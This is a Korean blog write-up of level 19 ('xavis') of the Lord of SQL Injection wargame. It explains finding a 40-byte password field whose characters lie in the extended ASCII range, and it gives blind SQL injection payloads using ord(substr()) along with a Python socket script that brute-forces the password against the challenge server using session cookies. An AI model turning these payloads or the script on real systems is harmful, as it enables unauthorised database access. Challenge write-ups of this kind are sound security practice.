본문 바로가기
워게임/LOS

[los - SQL injection] xavis ( 19단계 )

by B T Y 2017. 9. 24.
반응형

[los - SQL injection] xavis ( 19단계 )







  - ascii -> ord() 사용

  - 유니코드를 사용



[ 풀이과정 ]



xavis 문제는 pw가 아스키코드 문자에서 하나도 나오지 않아서 시간이 많이 걸렸던 문제이다...

이때까지 아스키코드로만 잘 풀다가 나오지 않아서 고생 좀 했다..

pw가 영문과 숫자가 아니라는게 되니 이것저것 생각하면서 찾아보다가 아스키코드 확장 문자를 

찾게 되었다.


아래 있는게 아스키코드 확장표이고 128~255까지 사람이 읽지 못하는 문자이다..



select id from prob_xavis where id='admin' and pw='' or id='admin' and length(pw)=40 #'을 이용해서 

pw의 길이가 40인걸 알아냈다..

그리고나서 전에 만들었던 자동화 프로그램으로 pw를 추출하는 쿼리를 만들어 추가시켜 돌렸지만

아스키코드값으로 범위를 두고 했을때는 아무것도 나오지 않았다...


하지만 아스키코드 확장값으로 범위를 두고 하니까 pw가 하나씩 나왔고

11부터는 나오지가 않았는데 확인해보니 null 문자로 되어있었다..


select id from prob_xavis where id='admin' and pw='' or id='admin' and ord(substr((select pw),4,1))=176 #'


결국 찾은 10자리의 문자를 pw에 입력했더니 문제가 풀렸다....





19단계 클리어~~



xavis.py



from socket import *

from struct import *


for i in range(1,9):

    ch = 120

    while True:


        #if 58 <= ch <= 64: ch + 1; continue

        #if 91 <= ch <= 96: ch + 1; continue

        if ch > 255: break

        

        sock = socket( AF_INET, SOCK_STREAM )

        sock.connect( ('104.27.174.42', 80) )


        request_header = 'GET /xavis_fd4389515d6540477114ec3c79623afe.php?id='admin' and pw='\' or 

                                 id=\'admin\' and '

        request_header += 'ord(substr((select pw),'

        request_header += str(i)

        request_header += ',1))=' + str(ch) + ' %23'

        request_header += ' HTTP/1.1\r\n'

        request_header += 'Cookie:__cfduid=d5e9e8bb92276949665b5620612504c8b1506175186; 

                                  PHPSESSID=mm7o8auagp6bjoq7nc2d06uum7\r\n'

        request_header += 'Host:los.eagle-jump.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()

        if 'Hello admin' in response:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1;

        sock.close()





반응형

댓글